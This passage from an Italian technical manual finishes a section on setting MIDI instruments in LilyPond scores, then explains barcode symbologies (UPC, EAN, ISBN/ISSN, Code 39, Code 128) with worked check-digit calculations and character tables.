Se lo scopo della compilazione è generare dei file MIDI, si possono incontrare altre difficoltà; la prima, costituita dal fatto che chi ha trascritto l'opera con LilyPond, può averlo fatto in modo da generare spartiti separati per ogni strumento utilizzato: in questo caso, si rischia di ottenere tanti file MIDI quanti sono gli strumenti utilizzati. In questa situazione, bisogna intervenire nel sorgente in modo molto approfondito, per riunire assieme tutti gli spartiti, in un libro solo.

Se la compilazione genera correttamente un file MIDI soltanto, oppure un file per ogni porzione dell'opera, può darsi che gli strumenti usati per l'esecuzione non corrispondano a quelli previsti nell'opera stessa. In generale, il sorgente LilyPond ottenuto dall'archivio del progetto Mutopia contiene un'intestazione con molte informazioni importanti:

```
\header {
    …
 mutopiatitle = "Invention 6"
 mutopiacomposer = "J. S. Bach (1685-1750)"
 mutopiaopus = "BWV 777"
 mutopiainstrument = "Harpsichord, Piano"
    …
}
```

In questo caso, si vede la proposta di utilizzare un clavicembalo o un piano. Data l'epoca a cui si riferisce l'opera trascritta, è probabile che sia più gradevole il suono di un clavicembalo. Se nel sorgente manca la richiesta esplicita di usare questo strumento, occorre provvedere ad aggiungere l'istruzione appropriata, altrimenti si ottiene il piano che è lo strumento predefinito:

```
\score {
   \context GrandStaff <<
    \context Staff = "one" <<
      \set Staff.instrument = "harpsichord"
      \set Staff.midiInstrument = "harpsichord"
      \voiceone
    >>
    \context Staff = "two" <<
      \set Staff.instrument = "harpsichord"
      \set Staff.midiInstrument = "harpsichord"
      \voicetwo
    >>
  >>
...
```

Naturalmente, la denominazione dello strumento deve corrispondere a quanto previsto da LilyPond (tabella 68.37).

68.3 Riferimenti

- Maurizio Codogno, *Pillole di teoria musicale*, 2002
  ⟨*http://xmau.com/musica/teoria/pillole.html* ⟩
- Ivano Cremonesi, *Info teoria musicale per l'informatico*, 1997
  ⟨*http://www.newmedia.it/musicopoli/teoria_m.htm* ⟩
- *Elementi base di teoria & armonia*
  ⟨*http://www.soundme.com/theory/teoria.htm* ⟩
- *GNU LilyPond*
  ⟨*http://lilypond.org/* ⟩
- *Mutopia project*
  ⟨*http://www.mutopiaproject.org* ⟩

[1] **LilyPond** GNU GPL

[2] **Denemo** GNU GPL

Capitolo 69

Codici a barre

I codici a barre sono dati memorizzati in forma ottica, attraverso l'uso di barre verticali che possono essere lette e interpretate facilmente con strumenti non troppo complessi. La tecnica dei codici a barre nasce negli anni 1960 e si diffonde negli anni 1970, con lo scopo di identificare rapidamente imballaggi e merci.

Gli standard sui codici a barre sono molti e il problema più importante da risolvere quando si vogliono usare è il decidere quale sia quello più conveniente per i propri fini. Si parla di ***simbologia*** per fare riferimento al tipo di codice a barre, ovvero allo standard di rappresentazione dei dati; la simbologia definisce implicitamente il tipo di dati che possono essere memorizzati. Per fare un esempio abbastanza comune, i codici ISBN dei libri sono scritti usando codici a barre di tipo EAN-13, che si compongono di 13 cifre numeriche; in questo caso, la simbologia è EAN-13, con la quale si vanno a rappresentare in pratica i codici ISBN.

Le rappresentazioni normali di un codice a barre sono a una sola dimensione, ovvero, è prevista una lettura orizzontale unica. Nella lettura vengono attraversate barre verticali nere e spazi bianchi; queste barre di larghezze differenti e gli spazi di ampiezze diverse sono gli elementi della simbologia; ogni simbologia usa un proprio numero di elementi differenti. Nel capitolo vengono descritte brevemente alcune simbologie standard.

69.1 Codice di controllo «modulo ***n***»

Alcuni tipi di codici numerici utilizzano un numero di controllo (o codice di controllo) per permettere una verifica facile dell'integrità del dato rappresentato. Esiste un genere comune di algoritmi per il calcolo di tali numeri di controllo, a cui si fa spesso riferimento con la definizione ***modulo n***, dove ***n*** è un numero intero maggiore di uno.

In questo modo si fa riferimento a una somma di valori, ottenuta moltiplicando ogni cifra del numero di partenza, compreso il numero di controllo, per un certo ***peso*** (un altro numero intero positivo), che deve essere un multiplo del numero ***n*** stabilito. Si osservi l'esempio seguente, in cui il numero di controllo finale è calcolato con i pesi dati, dividendo per il modulo 5:

Valore	1	3	5	7	4
Peso	5	4	3	2	1
Peso*Valore	5	12	15	14	4

5 + 12 + 15 + 14 + 4 = 50

50 è divisibile perfettamente per cinque, senza lasciare resti, garantendo l'integrità del valore.

In pratica, il peso che si dà al valore da usare come numero di controllo è solitamente uno, per cui diventa facile il calcolo di questa cifra:

5 + 12 + 15 + 14 = 46;
46 / 5 = 9, con il resto di 1;
5 − 1 = 4, ovvero il valore cercato come numero di controllo.

69.2 UPC-E e UPC-A

UPC è un insieme di simbologie standard utilizzato in particolare negli Stati Uniti e nel Canada. Con UPC-E e UPC-A si possono rappresentare solo cifre numeriche: UPC-A consente di rappresentare 11 cifre più una di controllo; UPC-E consente di rappresentare sei cifre, senza codice di controllo (il controllo di integrità avviene in forma differente).

La figura 69.2 mostra rispettivamente l'esempio di 123456 con UPC-E e di 12345678901 con UPC-A.

Figura 69.2. Esempi di codici a barre con simbologia UPC-E e UPC-A.

0 123456 5 1 23456 78901 2

Gli elementi utilizzati nella simbologia UPC sono otto, composti da quattro tipi di barre nere e quattro tipi di spazi.

Il codice di controllo di UPC-A si calcola moltiplicando in modo alterno le cifre che compongono il numero, per tre, o per uno, sommando alla fine i risultati. Ciò che si ottiene si divide per 10 e si tiene il resto; infine, 10 meno il resto ottenuto dà il codice di controllo cercato (modulo 10). Per esempio, nel caso di 12345678901 si ottiene il codice di controllo due, in base al calcolo seguente:

Valore	1	2	3	4	5	6	7	8	9	0	1
Peso	3	1	3	1	3	1	3	1	3	1	3
Peso*Valore	3	2	9	4	15	6	21	8	27	0	3

Il totale che si ottiene è 98; pertanto: 98/10 = 9 con un resto di 8; 10–8 = 2.

69.3 EAN-8 e EAN-13

EAN (*European article number*) è un insieme di simbologie standard di origine europea, utilizzato anche in altri paesi, nato come estensione delle simbologie UPC.

EAN-8 e EAN-13 permettono di rappresentare solo cifre numeriche: EAN-8 consente di rappresentare sette cifre più una di controllo, mentre EAN-13 consente di rappresentare 12 cifre numeriche più una di controllo.

La figura 69.4 mostra rispettivamente l'esempio di 1234567 con EAN-8 e di 123456789012 con EAN-13.

Figura 69.4. Esempi di codici a barre con simbologia EAN-8 e EAN-13.

1234 5670 1 234567 890128

Il codice di controllo di EAN-8 e di EAN-13 si calcola nello stesso modo di UPC-A. Per esempio, nel caso di 1234567 (EAN-8) si ottiene il codice di controllo zero, mentre nel caso di 123456789012 (EAN-13) si ottiene otto.

Valore	1	2	3	4	5	6	7
Peso	3	1	3	1	3	1	3
Peso*Valore	3	2	9	4	15	6	21

Il totale che si ottiene è 60; pertanto: 60/10 = 6 con un resto di 0; 10–0 = 10, da cui si prende solo l'ultima cifra (lo zero).

Valore	1	2	3	4	5	6	7	8	9	0	1	2
Peso	1	3	1	3	1	3	1	3	1	3	1	3
Peso*Valore	1	6	3	12	5	18	7	24	9	0	1	6

Il totale che si ottiene è 92; pertanto: 92/10 = 9 con un resto di 2; 10–2 = 8.

La rappresentazione di ogni cifra numerica può avere tre forme differenti, a cui si attribuisce convenzionalmente una lettera alfabetica maiuscola: A, B e C. Nella simbologia EAN-8, le prime quattro cifre sono rappresentate secondo la forma A, mentre le ultime quattro secondo la forma C. Invece, la rappresentazione delle cifre nella simbologia EAN-13 è più complessa, per l'esigenza di essere compatibile con UPC-A.

Con EAN-13 si rappresentano effettivamente solo le ultime 12 cifre (incluso il codice di controllo), mentre la prima viene determinata in base al modo in cui vengono rappresentate le sei cifre successive. In pratica, a seconda del valore della prima cifra, si determina la combinazione delle forme A e B, per le sei cifre che seguono la prima, mentre le ultime sei sono rappresentate con la forma C.

Valore iniziale						
0	A	A	A	A	A	A
1	A	A	B	A	B	B
2	A	A	B	B	A	B
3	A	A	B	B	B	A
4	A	B	A	A	B	B
5	A	B	B	A	A	B
6	A	B	B	B	A	A
7	A	B	A	B	A	B
8	A	B	A	B	B	A
9	A	B	B	A	B	A

Dallo specchietto si può notare che con una prima cifra pari a zero, le sei cifre successive si rappresentano secondo la forma A, esattamente come avviene nella simbologia UPC-A. In pratica, a parte qualche differenza estetica minima, un codice a barre realizzato con la simbologia EAN-13 è uguale a un altro realizzato con la simbologia UPC-A, quando la prima cifra è pari a zero, tenendo conto che lo zero iniziale non può cambiare nulla anche nel calcolo del codice di controllo finale.

69.4 Codici UCC ed EAN

In generale, la simbologia EAN-13 viene utilizzata per identificare degli «articoli», intesi principalmente come prodotti in vendita. Per poter applicare un codice a barre del genere occorre naturalmente avere ottenuto il numero per uno scopo preciso (l'ente italiano competente per l'attribuzione dei codici EAN è Indicod); tuttavia esiste un prefisso iniziale che fa parte dello standard e serve a stabilire l'origine del codice. l'origine è un concetto riferito precisamente a chi ha rilasciato il numero, che nella maggior parte dei casi si riferisce a un'organizzazione con competenza nazionale.

Questo prefisso iniziale dipende principalmente da due organizzazioni: UCC (*Uniform code council*) ed EAN (*European article number*). La prima organizzazione, definisce codici in cui la prima cifra identifica l'origine nell'area nell'ambito di Stati Uniti e Canada, mentre la seconda copre tutto il mondo, includendo la codifica UCC a cui si aggiunge la cifra iniziale zero.

La tabella 69.8 mostra in pratica un elenco abbastanza completo dei prefissi EAN, che solitamente si applicano ai codici a barre con simbologia EAN-13. Si può osservare che ormai i codici assegnati all'area Stati Uniti e Canada non hanno più solo lo zero iniziale; resta comunque l'abbinamento tra codice UCC e codice EAN, per cui il primo si trasforma nel secondo aggiungendo uno zero iniziale.

Tabella 69.8. Attribuzione dei prefissi secondo la codifica EAN.

Prefisso	Contesto	ISO 3166	Prefisso	Contesto	ISO 3166
00-13	USA, Canada	US, CA	14-19		
2	uso interno		30-37	Francia	FR
380	Bulgaria	BG	383	Slovenia	SI
384			385	Croazia	HR
386			387	Bosnia Erzegovina	BA
388-389			400-440	Germania	DE
45	Giappone	JP	460-469	Federazione russa	RU
470			471	Taiwan	TW
472-473			474	Estonia	EE
475	Lettonia	LV	476	Azerbaijan	AZ
477	Lituania	LT	478	Uzbekistan	UZ
479	Sri Lanka	LK	480	Filippine	PH
481	Belarus	BY	482	Ucraina	UA
483			484	Moldavia	MD
485	Armenia	AM	486	Georgia	GE
487	Kazakistan	KZ	488		
489	Hong Kong	HK	49	Giappone	JP
50	Gran Bretagna	UK	51		
520	Grecia	GR	521-527		
528	Libano	LB	529	Cipro	CY
530			531	Macedonia	MK
532-534			535	Malta	MT
536-538			539	Irlanda	IE
54	Belgio, Lussemburgo	BE, LU	55		
560	Portogallo	PT	561-568		
569	Islanda	IS	57	Danimarca	DK
58			590	Polonia	PL
591-593			594	Romania	RO

Prefisso	Contesto	ISO 3166	Prefisso	Contesto	ISO 3166
595-598			599	Ungheria	HU
600-601	Sud Africa	ZA	602-608		
609	Mauritius	MU	610		
611	Marocco	MA	612		
613	Algeria	DZ	614-615		
616	Kenia	KE	617-618		
619	Tunisia	TN	620		
621	Siria	SY	622	Egitto	EG
623			624	Libia	LY
625	Giordania	JO	626	Iran	IR
627	Kuwait	KW	628	Arabia Saudita	SA
629	Emirati	AE	63		
64	Finlandia	FI	65-68		
690-693	Cina	CN	694-699		
70	Norwegia	NO	710-728		
729	Israele	IL	73	Svezia	SE
740	Guatemala	GT	741	El Salvador	SV
742	Honduras	HN	743	Nicaragua	NI
744	Costa Rica	CR	745	Panama	PA
746	Repubblica Dominicana	DO	747-749		
750	Messico	MX	751-758		
759	Venezuela	VE	76	Svizzera	CH
770	Colombia	CO	771-772		
773	Uruguay	UY	774		
775	Perù	PE	776		
777	Bolivia	BO	778		
779	Argentina	AR	780	Cile	CL
781-783			784	Paraguay	PY
785			786	Ecuador	EC
787-788			789	Brasile	BR
80-83	Italia	IT	84	Spagna	ES
850	Cuba	CU	851-857		
858	Slovacchia	SK	859	Czech	CZ
860	Jugoslavia	YU	861-866		
867	Nord Korea	KP	868		
869	Turchia	TR	87	Olanda	NL
880	Sud Korea	KR	881-884		
885	Thailandia	TH	886-887		
888	Singapore	SG	889		
890	India	IN	891-892		
893	Vietnam	VN	894-898		
899	Indonesia	ID	90-91	Austria	AT
92			93	Australia	AU
94	Nuova Zelanda	NZ	950-954		
955	Malaysia	MY	956-957		
958	Macau	MO	959-976		
977	periodici (ISSN)		978-979	libri (ISBN)	
980	ricevute di rimborso (*refund receipts*)		981-982	tagliandi di valuta (*common currency coupons*)	
983-989			99	tagliandi (*coupons*)	

Si può osservare in particolare che il prefissi 978 e 979 sono riservati per i libri, mentre il prefisso 977 è riservato per i periodici (riviste). Dal momento che il prefisso EAN definiva originariamente un'area nazionale, è stata attribuita al codice 978 la denominazione ***bookland*** (la terra dei libri). Molta documentazione sui codici a barre e sulla numerazione ISBN fa ancora riferimento a questo nome per indicare tale prefisso.

Un altro prefisso interessante è il due, che rimane libero. Molti negozi usano codici a barre EAN-13, con prefisso due per annotare il prezzo di qualcosa che non è identificabile diversamente, come gli alimentari ottenuti da un banco di salumi e formaggi. La figura 69.9 mostra un esempio reale in cui, tra le altre cose, si annota un prezzo di 11,24 €.

Figura 69.9. Esempio di un codice a barre con simbologia EAN-13, usato per annotare un prezzo.

2 000123 011240

69.5 ISBN

La simbologia EAN-13 viene usata in diverse situazioni comuni, in particolare per ciò che riguarda le pubblicazioni.

La codifica ISBN (*International standard book number*) permette di identificare un libro in una sua edizione precisa, attraverso un numero composto da 10 cifre. Il numero in questione contiene quattro parti: l'origine (ovvero l'ente che lo ha rilasciato), l'editore, il titolo (il libro) e un numero di controllo finale (una sola cifra).

Per facilitare la lettura di queste informazioni, le quattro parti vengono mostrate solitamente come separate, attraverso un trattino. Per esempio, '`88-8331-223-6`' indica l'origine 88 (Italia), l'editore 8331, il titolo 233 e il numero di controllo 6.

Le varie parti in cui si suddivide l'informazione contenuta in un numero ISBN non sono di lunghezza fissa e la dimensione dell'una limita quella delle altre. In generale sono disponibili i raggruppamenti seguenti.

1. La prima parte identifica l'area (nazionale, linguistica e geografica) e viene attribuita dall'agenzia internazionale dell'ISBN. Il numero assegnato all'Italia è 88.
   - 0-7
   - 80-94
   - 950-994
   - 9950-9989
   - 99900-99999
2. La seconda parte identifica l'editore e viene attribuito dall'agenzia ISBN competente nell'area di riferimento.
   - 00-19

- 200-699
- 7000-8499
- 85000-89999
- 900000-999999

3. La terza parte identifica il titolo, relativamente all'editore a cui si fa riferimento, utilizzando lo spazio rimanente, escludendo il numero di controllo finale.
4. Il numero di controllo viene calcolato moltiplicando le cifre per un numero che va da 10 a uno, sommando ciò che si ottiene e dividendo per il «modulo 11». In questo modo, il valore che si ottiene può andare da 0 a 10, dove il 10 si rappresenta con una lettera «X».

Per comprendere il meccanismo del calcolo del numero di controllo, conviene vedere un esempio reale, il numero ISBN '`88-8331-223-6`'. In pratica, si tratta di verificare che il numero sei sia effettivamente il numero di controllo corretto.

Valore	8	8	8	3	3	1	2	2	3	6
Peso	10	9	8	7	6	5	4	3	2	1
Peso*Valore	80	72	64	21	18	5	8	6	6	6

Il totale che si ottiene è 286, che diviso per 11 dà esattamente 26, senza resto, a conferma della validità del numero di controllo. Non conoscendo il numero di controllo lo si potrebbe calcolare: la somma che si otterrebbe sarebbe solo 280, che divisa per 11 dà 25 con il resto di 5, per cui, 11 − 5 dà 6, il numero cercato.

Il numero ISBN si trasforma in EAN-13 mettendo anteriormente il valore 978 e togliendo il numero di controllo finale che va sostituito con quello calcolato secondo lo standard EAN-13; naturalmente, i trattini di divisione sono perduti. La figura 69.11 mostra l'esempio del codice ISBN 88-481-0113-5 rappresentato secondo la simbologia EAN-13, che si trasforma nel numero 9788848101134.

Figura 69.11. ISBN 88-481-0113-5.

ISBN 88-481-0113-5

9 788848 101134

A seconda del paese in cui si utilizza il numero ISBN, può essere obbligatorio o meno un codice a barre aggiuntivo contenente l'informazione sul prezzo.

69.5.1 ISSN

La codifica ISSN permette di identificare una pubblicazione periodica attraverso una tecnica simile a quella del numero ISBN per i libri. In questo caso, il numero è composto da otto cifre numeriche (compreso il numero di controllo), che vanno inserite in una simbologia EAN-13 aggiungendo all'inizio il prefisso 977, togliendo il numero di controllo ISSN, aggiungendo due cifre che rappresentano il codice del prezzo e aggiungendo il codice di controllo EAN-13.

Inoltre, va aggiunto un codice a barre ulteriore per rappresentare due o cinque cifre in cui si indica il numero del fascicolo.

Per esempio, il numero ISSN '`1129-1346`' di una rivista potrebbe tradursi nel codice a barre 9771129134006, con l'aggiunta di 10110, dove il codice del prezzo è assente e si fa riferimento al fascicolo numero 110.

La figura 69.12 mostra l'esempio del codice di due riviste, in cui appare anche un'estensione contenente il numero della pubblicazione.

Figura 69.12. Esempio di due codici ISSN, riferiti a riviste, con un'estensione contenente il numero della pubblicazione (rispettivamente 106 e 23).

69.6 Code 39

La simbologia denominata Code 39, ovvero *3 of 9*, consente di rappresentare 42 simboli, composti da lettere maiuscole, cifre numeriche e pochi altri segni. La tabella 69.13 riepiloga l'insieme di caratteri. Un codice a barre Code 39 è composto da un carattere di inizio, dai dati che deve contenere, da un codice di controllo (che non appare tradotto per la lettura umana) e dal carattere di fine. Il carattere usato per iniziare e per concludere la sequenza è l'asterisco, che quindi non può essere utilizzato nei dati contenuti.

Tabella 69.13. Insieme di caratteri per la simbologia Code 39.

Valore	Carattere	Valore	Carattere
0	0	22	M
1	1	23	N
2	2	24	O
3	3	25	P
4	4	26	Q
5	5	27	R
6	6	28	S
7	7	29	T
8	8	30	U
9	9	31	V
10	A	32	W
11	B	33	X
12	C	34	Y
13	D	35	Z
14	E	36	-
15	F	37	.
16	G	38	space
17	H	39	$
18	I	40	/
19	J	41	+
20	K	42	%
21	L	inizio/fine	*

Figura 69.14. Esempio di codice a barre Code 39.

Gli elementi utilizzati nella simbologia Code 39 sono quattro, composti da due tipi di barre nere e due tipi di spazi. Ogni carattere o segno che può essere rappresentato con questa simbologia, si avvale di cinque barre e di quattro spazi, per un totale di nove elementi. Il nome della simbologia, che si può tradurre come «tre su nove», indica il fatto che tre elementi su nove sono sempre di tipo largo (rispetto agli altri che invece sono stretti).

Il codice di controllo si ottiene sommando assieme i valori abbinati ai segni che si possono rappresentare, secondo la tabella di conversione 69.13, dividendo per 43. Il resto della divisione è il codice di controllo. Nel caso dell'esempio che appare in figura 69.14, si tratta della lettera '`L`':

«CIAO» = 12 + 18 + 10 + 24 = 64

64 / 43 = 1 lasciando un resto di 21 = '`L`'

69.6.1 Code 39 esteso

Esiste anche un'estensione della simbologia Code 39, allo scopo di consentire la rappresentazione dell'ASCII standard completo. Si ottiene questo risultato scrivendo due simboli normali al posto di uno. Naturalmente, dal momento che non esiste un modo per distinguere la codifica standard da quella estesa, è necessario che il lettore di codice a barre sia impostato nel modo più conveniente. La tabella 69.15 mostra l'insieme di caratteri esteso e la corrispondenza con i segni della simbologia Code 39 normale.

Tabella 69.15. Insieme di caratteri esteso per la simbologia Code 39.

ASCII	Code 39	ASCII	Code 39	ASCII	Code 39	ASCII	Code 39
<NUL>	%U	*<SP>*	=	@	%V	‘	%W
<SOH>	$A	!	/A	A	A	a	+A
<STX>	$B	"	/B	B	B	b	+B
<ETX>	$C	#	/C	C	C	c	+C
<EOT>	$D	$	/D	D	D	d	+D
<ENQ>	$E	%	/E	E	E	e	+E
<ACK>	$F	&	/F	F	F	f	+F
<BEL>	$G	’	/G	G	G	g	+G
<BS>	$H	(	/H	H	H	h	+H
<HT>	$I	)	/I	I	I	i	+I
<LF>	$J	*	/J	J	J	j	+J
<VT>	$K	+	/K	K	K	k	+K
<FF>	$L	,	/L	L	L	l	+L
<CR>	$M	-	/M	M	M	m	+M
<SO>	$N	.	/N	N	N	n	+N
<SI>	$O	/	/O	O	O	o	+O
<DLE>	$P	0	0	P	P	p	+P
<DC1>	$Q	1	1	Q	Q	q	+Q
<DC2>	$R	2	2	R	R	r	+R

ASCII	Code 39	ASCII	Code 39	ASCII	Code 39	ASCII	Code 39
<DC3>	$S	3	3	S	S	s	+S
<DC4>	$T	4	4	T	T	t	+T
<NAK>	$U	5	5	U	U	u	+U
<SYN>	$V	6	6	V	V	v	+V
<ETB>	$W	7	7	W	W	w	+W
<CAN>	$X	8	8	X	X	x	+X
<EM>	$Y	9	9	Y	Y	y	+Y
<SUB>	$Z	:	/Z	Z	Z	z	+Z
<ESC>	%A	;	%F	[	%K	{	%P
<FS>	%B	<	%G	\	%L	|	%Q
<GS>	%C	=	%H	]	%M	}	%R
<RS>	%D	>	%I	^	%N	~	%S
<US>	%E	?	%J	–	%O	<DEL>	%T

69.7 Code 128

La simbologia denominata Code 128, ovvero USS Code 128, consente di rappresentare 106 simboli, che possono essere interpretati secondo tre insiemi di caratteri, distinti in base a una lettera: A, B e C. Per questa ragione, un codice a barre realizzato secondo la simbologia Code 128 inizia sempre con la dichiarazione dell'insieme di caratteri. L'informazione non ha una lunghezza predeterminata e può essere modificato l'insieme di caratteri quando serve. La simbologia Code 128 prevede l'inserimento di un codice di controllo, calcolato automaticamente per consentire la verifica della lettura meccanica, ma questa cifra non viene mostrata per la lettura umana.

Tabella 69.16. Insiemi di caratteri per la simbologia Code 128. L'ultima colonna riporta anche la descrizione della rappresentazione a barre, dove un numero da uno a tre indica la larghezza della barra, '`b`', o dello spazio, '`s`', dalla grandezza più piccola alla più grande. Si osservi che lo stop ha una barra in più alla fine.

Valore	Code A	Code B	Code C	Barre e spazi: b s b s b s
0	<SP>	<SP>	00	2 1 2 2 2 2
1	!	!	01	2 2 2 1 2 2
2	"	"	02	2 2 2 2 2 1
3	#	#	03	1 2 1 2 2 3
4	$	$	04	1 2 1 3 2 2
5	%	%	05	1 3 1 2 2 2
6	&	&	06	1 2 2 2 1 3
7	’	’	07	1 2 2 3 1 2
8	(	(	08	1 3 2 2 1 2
9	)	)	09	2 2 1 2 1 3
10	*	*	10	2 2 1 3 1 2
11	+	+	11	2 3 1 2 1 2
12	’	’	12	1 1 2 2 3 2
13	-	-	13	1 2 2 1 3 2
14	·	·	14	1 2 2 2 3 1
15	/	/	15	1 1 3 2 2 2
16	0	0	16	1 2 3 1 2 2
17	1	1	17	1 2 3 2 2 1
18	2	2	18	2 2 3 2 1 1
19	3	3	19	2 2 1 1 3 2
20	4	4	20	2 2 1 2 3 1

Valore	Code A	Code B	Code C	Barre e spazi: b s b s b s
21	5	5	21	2 1 3 2 1 2
22	6	6	22	2 2 3 1 1 2
23	7	7	23	3 1 2 1 3 1
24	8	8	24	3 1 1 2 2 2
25	9	9	25	3 2 1 1 2 2
26	:	:	26	3 2 1 2 2 1
27	;	;	27	3 1 2 2 1 2
28	<	<	28	3 2 2 1 1 2
29	=	=	29	3 2 2 2 1 1
30	>	>	30	2 1 2 1 2 3
31	?	?	31	2 1 2 3 2 1
32	@	@	32	2 3 2 1 2 1
33	A	A	33	1 1 1 3 2 3
34	B	B	34	1 3 1 1 2 3
35	C	C	35	1 3 1 3 2 1
36	D	D	36	1 1 2 3 1 3
37	E	E	37	1 3 2 1 1 3
38	F	F	38	1 3 2 3 1 1
39	G	G	39	2 1 1 3 1 3
40	H	H	40	2 3 1 1 1 3
41	I	I	41	2 3 1 3 1 1
42	J	J	42	1 1 2 1 3 3
43	K	K	43	1 1 2 3 3 1
44	L	L	44	1 3 2 1 3 1
45	M	M	45	1 1 3 1 2 3
46	N	N	46	1 1 3 3 2 1
47	O	O	47	1 3 3 1 2 1
48	P	P	48	3 1 3 1 2 1
49	Q	Q	49	2 1 1 3 3 1
50	R	R	50	2 3 1 1 3 1
51	S	S	51	2 1 3 1 1 3
52	T	T	52	2 1 3 3 1 1
53	U	U	53	2 1 3 1 3 1
54	V	V	54	3 1 1 1 2 3
55	W	W	55	3 1 1 3 2 1
56	X	X	56	3 3 1 1 2 1
57	Y	Y	57	3 1 2 1 1 3
58	Z	Z	58	3 1 2 3 1 1
59	[	[	59	3 3 2 1 1 1
60	\	\	60	3 1 4 1 1 1
61	]	]	61	2 2 1 4 1 1
62	^	^	62	4 3 1 1 1 1
63	–	–	63	1 1 1 2 2 4
64	*<NUL>*	‘	64	1 1 1 4 2 2
65	*<SOH>*	a	65	1 2 1 1 2 4
66	*<STX>*	b	66	1 2 1 4 2 1
67	*<ETX>*	c	67	1 4 1 1 2 2
68	*<EOT>*	d	68	1 4 1 2 2 1
69	*<ENQ>*	e	69	1 1 2 2 1 4
70	*<ACK>*	f	70	1 1 2 4 1 2
71	*<BEL>*	g	71	1 2 2 1 1 4
72	*<BS>*	h	72	1 2 2 4 1 1
73	*<HT>*	i	73	1 4 2 1 1 2
74	*<LF>*	j	74	1 4 2 2 1 1
75	*<VT>*	k	75	2 4 1 2 1 1

Valore	Code A	Code B	Code C	Barre e spazi: b s b s b s
76	*<FF>*	l	76	2 2 1 1 1 4
77	*<CR>*	m	77	4 1 3 1 1 1
78	*<SO>*	n	78	2 4 1 1 1 2
79	*<SI>*	o	79	1 3 4 1 1 1
80	*<DLE>*	p	80	1 1 1 2 4 2
81	*<DC1>*	q	81	1 2 1 1 4 2
82	*<DC2>*	r	82	1 2 1 2 4 1
83	*<DC3>*	s	83	1 1 4 2 1 2
84	*<DC4>*	t	84	1 2 4 1 1 2
85	*<NAK>*	u	85	1 2 4 2 1 1
86	*<SYN>*	v	86	4 1 1 2 1 2
87	*<ETB>*	w	87	4 2 1 1 1 2
88	*<CAN>*	x	88	4 2 1 2 1 1
89	*<EM>*	y	89	2 1 2 1 4 1
90	*<SUB>*	z	90	2 1 4 1 2 1
91	*<ESC>*	{	91	4 1 2 1 2 1
92	*<FS>*	|	92	1 1 1 1 4 3
93	*<GS>*	}	93	1 1 1 3 4 1
94	*<RS>*	~	94	1 3 1 1 4 1
95	*<US>*	*<DEL>*	95	1 1 4 1 1 3
96	FNC 3	FNC 3	96	1 1 4 3 1 1
97	FNC 2	FNC 2	97	4 1 1 1 1 3
98	Shift	Shift	98	4 1 1 3 1 1
99	Code C	Code C	99	1 1 3 1 4 1
100	Code B	FNC 4	Code B	1 1 4 1 3 1
101	FNC 4	Code A	Code A	3 1 1 1 4 1
102	FNC 1	FNC 1	FNC 1	4 1 1 1 3 1
103	Start A	Start A	Start A	2 1 1 4 1 2
104	Start B	Start B	Start B	2 1 1 2 1 4
105	Start C	Start C	Start C	2 1 1 2 3 2
	Stop	Stop	Stop	2 3 3 1 1 1 2

Gli insiemi di caratteri A, B e C sono elencati nella tabella 69.16. Come si può vedere, l'insieme A consente di rappresentare l'alfabeto maiuscolo, le cifre numeriche, vari simboli di punteggiatura e caratteri di controllo; in pratica, ciò che si può rappresentare con la prima parte della codifica ASCII, tenendo conto che le posizioni non corrispondono. L'insieme B consente di rappresentare praticamente tutto l'alfabeto ASCII, compresa la distinzione tra lettere maiuscole e minuscole, a esclusione dei caratteri di controllo. L'insieme C consente di rappresentare valori numerici a coppie, per cui, un valore composto da un numero dispari di cifre acquisisce uno zero iniziale.

Figura 69.17. Esempio di due codici Code 128, realizzati usando l'insieme B e l'insieme C, per rappresentare due dati equivalenti: «Ciao» e 35736579.

Ciao 35736579

La figura 69.17 mostra la comparazione tra un codice a barre realizzato usando l'insieme B

e un altro con l'insieme C. L'informazione contenuta è la stessa dal punto di vista dei valori rappresentabili (eventualmente si osservino le tabelle degli insiemi di caratteri). Se fosse possibile sovrapporre i due codici, si noterebbe che cambia solo la parte iniziale, quella in cui si dichiara l'insieme di caratteri, e la parte finale, dove si inserisce il codice di controllo. Si può anche osservare che gli ultimi elementi rimangono uguali e sono quelli che contengono il codice di conclusione.

Volendo entrare nel dettaglio, l'esempio di figura 69.17 si compone di: '**`Start B`**', 35, 73, 65, 79, ***codice_di_controllo***, '**`Stop`**'; ovvero, nel secondo caso, '**`Start C`**', 35, 73, 65, 79, ***codice_di_controllo***, '**`Stop`**'.

Quando si vuole cambiare l'insieme di caratteri, si inserisce un simbolo '**`Code A`**', '**`Code B`**' o '**`Code C`**', per introdurre l'insieme a cui si vuole fare riferimento da quel punto in poi.

Il codice di controllo finale si calcola sommando il valore corrispondente alla dichiarazione iniziale dell'insieme di caratteri alla somma dei valori successivi, moltiplicati per la loro posizione. La somma complessiva va divisa per 103 e il resto che si ottiene è il codice di controllo finale. Si osservi l'esempio:

	Start B	C	i	a	o	Stop
Peso	1	1	2	3	4	
Valore	104	35	73	65	79	
Peso*Valore	104	35	146	195	316	

Pertanto:

104 + 35 + 146 + 195 + 316 = 796

796 / 103 = 7 con resto di 75. Il codice di controllo è il simbolo corrispondente al valore 75.

Usando l'insieme di caratteri C la cosa cambia, perché il simbolo iniziale ha il valore 105, per cui il codice di controllo finale è 76:

	Start C	35	73	65	79	Stop
Peso	1	1	2	3	4	
Valore	105	35	73	65	79	
Peso*Valore	105	35	146	195	316	

Dalla simbologia Code 128 derivano diverse applicazioni speciali che si distinguono per avere una struttura particolare. Esiste anche una variante che consente la rappresentazione di più caratteri rispetto all'ASCII standard.

69.7.1 UCC/EAN 128

La simbologia UCC/EAN 128 è un'applicazione di Code 128, in cui si inizia dichiarando l'insieme di caratteri e si inserisce subito dopo il simbolo '**`FNC 1`**' (*Function code one*).[1]

Dopo il simbolo '**`FNC 1`**' viene indicato un codice che indica il tipo di applicazione. Si fa riferimento a questo con la sigla AI (*Application identifier*). L'informazione in questione viene rappresentata per la lettura umana tra parentesi tonde, proprio per facilitare l'interpretazione, a sottolineare il fatto che si tratta di un prefisso. Naturalmente, l'informazione può essere anche più complessa e altre parti dei dati successivi possono essere separate ed evidenziate nello stesso modo o in modi differenti.

69.8 ITF, ovvero i25

La simbologia ITF, o i25, nota come Interleaved two of five, ovvero «interfogliata due su cinque», consente la rappresentazione di soli valori numerici, di lunghezza indefinita, purché in numero di cifre pari. La simbologia prevede una cifra di controllo finale, opzionale.

